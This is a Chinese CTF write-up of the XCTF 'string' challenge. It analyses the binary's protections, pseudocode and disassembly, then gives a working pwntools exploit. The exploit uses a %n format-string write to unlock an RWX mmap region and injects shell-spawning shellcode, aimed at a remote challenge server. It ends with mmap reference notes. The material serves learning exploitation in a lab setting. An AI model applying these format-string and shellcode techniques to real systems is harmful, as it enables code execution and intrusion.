XCTF-string

1:checksec

hunter@hunter:~/PWN/XCTF/xctf_easy$ checksec string
[*] '/home/hunter/PWN/XCTF/xctf_easy/string'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

保护全开有点狠,但是不用慌,这应该告诉我们栈溢出控制程序是不可能的了

2:IDA

程序比较大,下面是进行拆分排序后的函数组合

main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  __int64 v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(60u);
  sub_400996();                                 // 菜单输出,不用在意
  v3 = malloc(8uLL);                            // 开辟内存空间
  v4 = (__int64)v3;
  *v3 = 68;
  v3[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2);          // 将输出第一个和第二个元素的地址
                                                // 
  printf("secret[1] is %x\n", v4 + 4);
  puts("do not tell anyone ");
  sub_400D72(v4);                               // 将开辟内存空间传入该函数
  puts("The End.....Really?");
  return 0LL;
}


sub_400D72函数:
// a1是前面开辟内存空间的地址
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(40u);
  puts("What should your character's name be:");
  _isoc99_scanf((__int64)"%s", (__int64)&s);
  if ( strlen(&s) <= 12 )
  {
    puts("Creating a new player.");
    sub_400A7D();                               // 只能输入east
    sub_400BB9();                               // 格式化字符串漏洞
    sub_400CA6((_DWORD *)a1);                   // 映射一个大小为4096字节的空间 该空间由读写执行权 传入了开辟空间的地址a1
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

sub_400A7D函数:执行后我们能且只能输入east,没多大用


sub_400BB9函数:
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf((__int64)"%ld", (__int64)&v2);
    puts("And, you wish is:");
    _isoc99_scanf((__int64)"%s", (__int64)&format);
    puts("Your wish is");
    printf(&format, &format);                   // 格式化字符串漏洞
                                                // 
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}



sub_400CA6((_DWORD *)a1)函数:
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(40u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )                           // 第一个元素等于第二个元素,这两个元素地址是相邻的
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 4096uLL, 7, 33, -1, 0LL);    // 映射一个大小为4096字节的空间 该空间有读写执行权
    read(0, v1, 256uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);  //这里比较难理解
  }
  return __readfsqword(0x28u) ^ v3;
}

3:解决疑难语句

对于((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);这条语句我查了半天也没怎么理解,也就是说这个伪代码看不懂。在这种时候千万别忘了我们还可以看反汇编内容!!这一块区域的反汇编:

mov     edi, offset aWizardIWillHel ; "Wizard: I will help you! USE YOU SPELL"   
call    puts
mov     r9d, 0          ; offset
mov     r8d, 0FFFFFFFFh ; fd
mov     ecx, 33         ; flags
mov     edx, 7          ; prot
mov     esi, 4096       ; len
mov     edi, 0          ; addr
call    mmap
mov     [rbp+buf], rax
mov     rax, [rbp+buf]
mov     edx, 256        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    read
mov     rax, [rbp+buf]
mov     edi, 0
call    rax

1-2:显然是对应:puts(“Wizard: I will help you! USE YOU SPELL”);这条语句,执行了这一条就能说明程序进入了if语句
3-9:是执行了mmap函数,先是将该函数的参数从右到左传入寄存器和一些特别的地方,最后进行调用mmap函数
10-15:主要是执行read函数,但我们可以发现这一段除了将传read函数的参数,还进行了其他操作。即第10第11条,将rax的值赋给[rbp+buf]代表的地址上面,又将[rbp+buf]代表的地址赋给rax。在传buf参数时,是将rax放入rsi,所以这个read函数将会入读数据到rax存放的地址上。结合IDA伪代码,这个地址就是可读可写可执行内存区,即[rbp+buf]所代表的地址。
16-18:将[rbp+buf]地址放入rax,17行应该不重要,18行就像调用函数一样直接调用rax。那么我们可以肯定((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1)可以执行程序读入的代码

探究

1.main函数主要功能:开辟一个8字节的内存空间,该空间第一个元素大小赋值为68第二个元素大小赋值为85 ,输出两者的地址,然后进入sub_400D72(v4)函数
2.sub_400D72(v4)函数主要功能:输入一串字符作为角色名字,然后依次执行sub_400A7D() sub_400BB9() sub_400CA6((_DWORD *)a1)函数
3:sub_400A7D()函数主要功能:让用户输入test字符串,才能继续执行
4:sub_400BB9() 函数主要功能:输入1进入if语句,在该语句中先输入整数,再输入字符串,该字符串和后面的printf构成格式化字符串漏洞
5:sub_400CA6((_DWORD *)a1)函数主要功能:输出一堆废话 但是如果main函数中所开辟的空间中的第一个元素等于第二个元素,将映射一个有读写执行权的空间。然后在读取输入到空间中,最后那一串语句盲猜是要执行那段空间里面的数据

思路

从main函数中得到两元素地址,在要执行sub_400BB9()函数时利用其包括的格式化字符串漏洞,改两个元素的值使其相等。这样在执行sub_400CA6((_DWORD *)a1)函数时就可以输入shellcode到一个映射空间,由下面的语句执行空间中的shellcode

4:exp

from pwn import*

context(arch='amd64',os='linux')

context.log_level = 'debug'

#sh = process('./string')

sh = remote("220.249.52.133",32219)

sh.recvuntil('[0] is ')
addr1 = int(sh.recvuntil('\n'), 16)   //获取地址
sh.recvuntil('[1] is ')
addr2 = int(sh.recvuntil('\n'),16)    //获取地址

print addr1
print addr2
print type(addr1)

sh.recv()

payload1 = 'HUNTER'
sh.sendline(payload1)

sh.recv()

payload2 = 'east'
sh.sendline(payload2)

sh.recv()

sh.sendline('1')

sh.recv()

sh.sendline('123')

sh.recv()
#formal bug
payload3 = "AAA%082d" + "%10$nAAA" + p64(addr1)  #构造格式化字符串payload时要注意参数位置,以及对应程序操作位数


#gdb.attach(sh)
sh.sendline(payload3)

sh.recv()

#input shell
'''
payload4 = ""
payload4 += "\x01\x30\x8f\xe2"
payload4 += "\x13\xff\x2f\xe1"
payload4 += "\x78\x46\x0e\x30"
payload4 += "\x01\x90\x49\x1a"
payload4 += "\x92\x1a\x08\x27"
payload4 += "\xc2\x51\x03\x37"
payload4 += "\x01\xdf\x2f\x62"
payload4 += "\x69\x6e\x2f\x2f"
payload4 += "\x73\x68"
'''

payload4 = asm(shellcraft.sh())
sh.sendline(payload4)

sh.interactive()

5:知识点

mmap函数

mmap函数是unix/linux下的系统调用。
当存在客户-服务程序中复制文件时候,其数据流如下,要经历四次数据复制,开销很大。

如果采用共享内存的方式,那么将大大优化IO操作,数据流变成了如下,数据只复制两次:

映射文件或设备到内存中,取消映射就是munmap函数。
语法如下:

void mmap(void addr, size_t length, int prot, int flags, int fd, off_t offset);

int munmap(void *addr, size_t length);
该函数主要用途有三个:

1、将普通文件映射到内存中,通常在需要对文件进行频繁读写时使用,用内存读写取代I/O读写,以获得较高的性能;

2、将特殊文件进行匿名内存映射,为关联进程提供共享内存空间;

3、为无关联的进程间的Posix共享内存(SystemV的共享内存操作是shmget/shmat)

我们来看下函数的入参选择:

1、参数addr:

指向欲映射的内存起始地址,通常设为 NULL,代表让系统自动选定地址,映射成功后返回该地址。

2、参数length:

代表将文件中多大的部分映射到内存。

3、参数prot:

映射区域的保护方式。可以为以下几种方式的组合:

PROT_EXEC 映射区域可被执行

PROT_READ 映射区域可被读取

PROT_WRITE 映射区域可被写入

PROT_NONE 映射区域不能存取

4、参数flags:

影响映射区域的各种特性。在调用mmap()时必须要指定MAP_SHARED 或MAP_PRIVATE。

MAP_FIXED 如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此。

MAP_SHARED对映射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享。

MAP_PRIVATE 对映射区域的写入操作会产生一个映射文件的复制,即私人的“写入时复制”(copy on write)对此区域作的任何修改都不会写回原来的文件内容。

MAP_ANONYMOUS建立匿名映射。此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享。

MAP_DENYWRITE只允许对映射区域的写入操作,其他对文件直接写入的操作将会被拒绝。

MAP_LOCKED 将映射区域锁定住,这表示该区域不会被置换(swap)。

5、参数fd:

要映射到内存中的文件描述符。如果使用匿名内存映射时,即flags中设置了MAP_ANONYMOUS,fd设为-1。

6、参数offset:

文件映射的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。如下图内存映射文件的示例。

原文:https://segmentfault.com/a/1190000014616732


  转载请注明: Squarer XCTF-string

  目录